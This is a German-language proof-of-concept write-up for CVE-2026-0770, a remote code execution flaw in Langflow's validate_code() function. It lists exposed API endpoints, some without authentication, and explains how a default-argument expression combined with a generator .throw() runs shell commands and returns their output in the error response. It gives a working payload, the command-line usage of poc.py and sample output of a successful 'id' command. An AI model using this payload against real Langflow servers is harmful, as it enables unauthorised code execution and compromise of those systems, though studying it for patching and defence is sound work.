
Proof of Concept für CVE-2026-0770 - Langflow Remote Code Execution
Langflow enthält eine kritische Remote-Code-Execution-Schwachstelle in der Funktion validate_code(), die sich in src/lfx/src/lfx/custom/validate.py befindet. Die Funktion verwendet exec(), um vom Benutzer bereitgestellten Python-Code ohne Sandboxing auszuführen, was die Ausführung beliebiger Befehle auf dem Server ermöglicht.
Ähnliche Schwachstellen wurden in verwandten Funktionen und Endpunkten identifiziert:
Die Funktion validate_code() parst vom Benutzer bereitgestellten Code und führt Funktionsdefinitionen mit exec() aus:
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- Beliebige Codeausführung
Der exec_globals-Kontext enthält Zugriff auf importlib und Python-Builtins, wodurch Angreifer gefährliche Module (os, subprocess, socket) importieren und beliebige Systembefehle ausführen können.
| Endpunkt | Authentifizierung | Angriffsvektor |
|---|---|---|
POST /api/v1/validate/code | Erforderlich* | Direkte Code-Übermittlung |
POST /api/v1/custom_component | Erforderlich* | Code in Komponentendefinition |
POST /api/v1/custom_component/update | Erforderlich* | Code in Komponenten-Update |
POST /api/v1/webhook/{flow_id} | Keine | Flow mit Code-Komponenten |
POST /api/v1/build_public_tmp/{flow_id}/flow | Keine | Öffentliche Flow-Ausführung |
* Die Authentifizierung kann umgangen werden, wenn AUTO_LOGIN=true (die Standardkonfiguration)
Die folgenden Funktionen in validate.py verwenden ebenfalls unsicheres exec():
| Funktion | Zeile | Beschreibung |
|---|---|---|
validate_code() | 66 | Validiert Benutzercode |
eval_function() | 140 | Wertet Funktionsstrings aus |
execute_function() | 182 | Führt beliebige Funktionen aus |
create_function() | 227 | Erstellt Funktionen aus Code |
create_class() | 241-442 | Erstellt Klassen über prepare_global_scope() und build_class_constructor() |
Die Funktion validate_code() führt nur Funktionsdefinitionen aus, keine Funktionsaufrufe. Um eine Codeausführung mit Exfiltration der Ausgabe zu erreichen, nutzen wir die Auswertungsreihenfolge von Python für Standardargumente aus.
Wichtige Erkenntnis: Ausdrücke in Standardargumenten werden zum Zeitpunkt der Funktionsdefinition ausgewertet, nicht wenn die Funktion aufgerufen wird.
def foo(x=print("Ich werde sofort ausgeführt")):
pass
Allerdings müssen wir die Ausgabe über die HTTP-Antwort exfiltrieren. Der Endpunkt gibt Fehler im Antworttext zurück, daher müssen wir eine Exception auslösen, die unsere Ausgabe enthält.
Problem: raise ist eine Anweisung, kein Ausdruck, daher kann es nicht direkt in einem Standardargument verwendet werden.
Lösung: Verwende die .throw()-Methode eines Generators, die eine Exception auslöst und ein Ausdruck ist:
(_ for _ in ()).throw(Exception("Ausgabe hier"))
Dies erstellt einen leeren Generator und löst sofort eine Exception aus. Kombiniert mit einem Lambda zur Erfassung der Befehlsausgabe:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
Ausführungsablauf:
exec() führt die Funktionsdefinition aus_=... wird sofort ausgewertetsubprocess.run() führt den Befehl aus.throw()-Methode aufvalidate_code() fängt sie ab und gibt den Fehler in der Antwort zurückpython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| Flag | Beschreibung |
|---|---|
-t, --target | Ziel-URL (erforderlich) |
-c, --command | Auszuführender Befehl (Standard: id && whoami) |
-k, --token | JWT-Token (optional, verwendet standardmäßig Auto-Login) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py